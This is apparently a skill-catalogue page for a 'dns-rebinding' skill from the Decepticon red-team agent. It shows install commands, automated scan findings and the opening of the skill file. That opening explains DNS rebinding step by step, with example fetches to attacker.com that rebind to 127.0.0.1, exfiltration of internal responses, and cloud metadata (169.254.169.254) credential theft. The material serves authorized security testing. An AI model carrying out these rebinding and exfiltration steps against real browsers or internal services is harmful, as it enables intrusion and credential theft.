Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill dns-rebindinggit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/dns-rebinding)<a href="https://agentmods.dev/skills/purpleailab/decepticon/dns-rebinding"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dns-rebinding.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Server-Side Request Forgery · line 138 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Server-Side Request Forgery · line 219 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- medium MCP Rug Pull · line 86 Docker image references without a specific tag (:latest is implicit) or digest (@sha256:...) can be silently replaced by a malicious image.Fix: Pin the image: image:tag or image@sha256:abc123
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00126 | $0.02462 |
| Opus 5 | $0.00063 | $0.01231 |
| Sonnet 5 | $0.00025 | $0.00492 |
| Haiku 4.5 | $0.00013 | $0.00246 |
Grade C, and why
dns-rebinding scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
| Cloud IMDS (169.254.169.254) reachable from instance's browser | Yes — rare but critical | Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
fetch(target, {cache: "no-store"}) How it starts
The opening of the file, as written. The whole thing — 224 lines — stays where its author put it; the contents beside it link to each section on GitHub.
DNS Rebinding
DNS rebinding lets an attacker-controlled page make the victim's browser
treat attacker.com as if it were 127.0.0.1 (or any internal IP).
The browser's same-origin policy checks the hostname, not the IP — so
after rebinding, the page's JS can read responses from the internal
service as if they were same-origin.
When This Applies
| Scenario | Viable? |
|---|---|
| SSRF blocked, but victim browser is reachable | Yes — browser does the internal fetch |
| Localhost service (Electron app, dev server, K8s dashboard) | Yes — browser calls 127.0.0.1: |
| Cloud IMDS (169.254.169.254) reachable from instance's browser | Yes — rare but critical |
Server-side SSRF filter allows attacker.com |
Yes — rebind to internal IP |
| Target has DNS-rebinding protection (Host header check) | Partial — see bypass §7 |
2. Attack Mechanics
Phase 1 — Victim resolves attacker.com → public IP
Victim visits http://attacker.com/payload.html. Browser resolves the
DNS name → gets the attacker's real public IP → same-origin allows
the page's JS to load and execute.
Phase 2 — TTL expires, DNS flips to 127.0.0.1
The attacker's DNS server returns a very short TTL (0–1 s). After TTL
expiry, a second DNS query returns 127.0.0.1 (or target internal IP).
Phase 3 — JS makes same-origin request
The page's JS calls fetch("http://attacker.com/api/v1/secret").
The browser re-resolves attacker.com → gets 127.0.0.1 → sends
the request to the local service on the attacker's behalf, receives the
response, and exfiltrates it.
[Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real)
... wait TTL ...
[Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind)
[Browser] fetch("http://attacker.com:8080/api/secret") → [127.0.0.1:8080]
[Browser] → response body exfiltrated to attacker
3. Tooling
rbndr.us (fastest, no setup)
Public DNS rebinding service by Taviso. Construct a hostname that encodes both IPs:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 224 lines · 126 tokens per session scan C 1ddc8b3b1cab
dns-rebinding is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,452 stars, last pushed 8d ago), licensed Apache-2.0. It adds 126 tokens to every session and 2,462 once invoked, about $0.0006 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
web-scraping
Web scraping: scrapepage / scrapepages MCP tools for fetching pages as markdown, HTML, or text (fast HTTP, browser rendering, anti-bot stealth), plus the direct Scrapling Python API for selectors, sessions, and spiders.
XSS_SKILL
Cross-site scripting skill vision validation.
analyzing-browser-forensics-with-hindsight
Use when analyze Chromium-based browser artifacts using Hindsight to extract browsing history, downloads, cookies, cached content, autofill data, saved passwords, and browser extensions from Chrome, Edge, Brave, and Opera for forensic investigation. Use when analyzeing chromium-based browser artifacts using hindsight…
crawl4ai
Complete toolkit for web crawling and data extraction using Crawl4AI. This skill should be used when users need to scrape websites, extract structured data, handle JavaScript-heavy pages, crawl multiple URLs, or build automated web data pipelines. Includes optimized extraction patterns with schema generation for…
browser-use
Using Browser-Use (documentation attached), create an agent that [describe your goal].
e2e-testing-patterns
Master end-to-end testing with Playwright and Cypress to build reliable test suites that catch bugs, improve confidence, and enable fast deployment. Use when implementing E2E tests, debugging flaky tests, or establishing testing standards.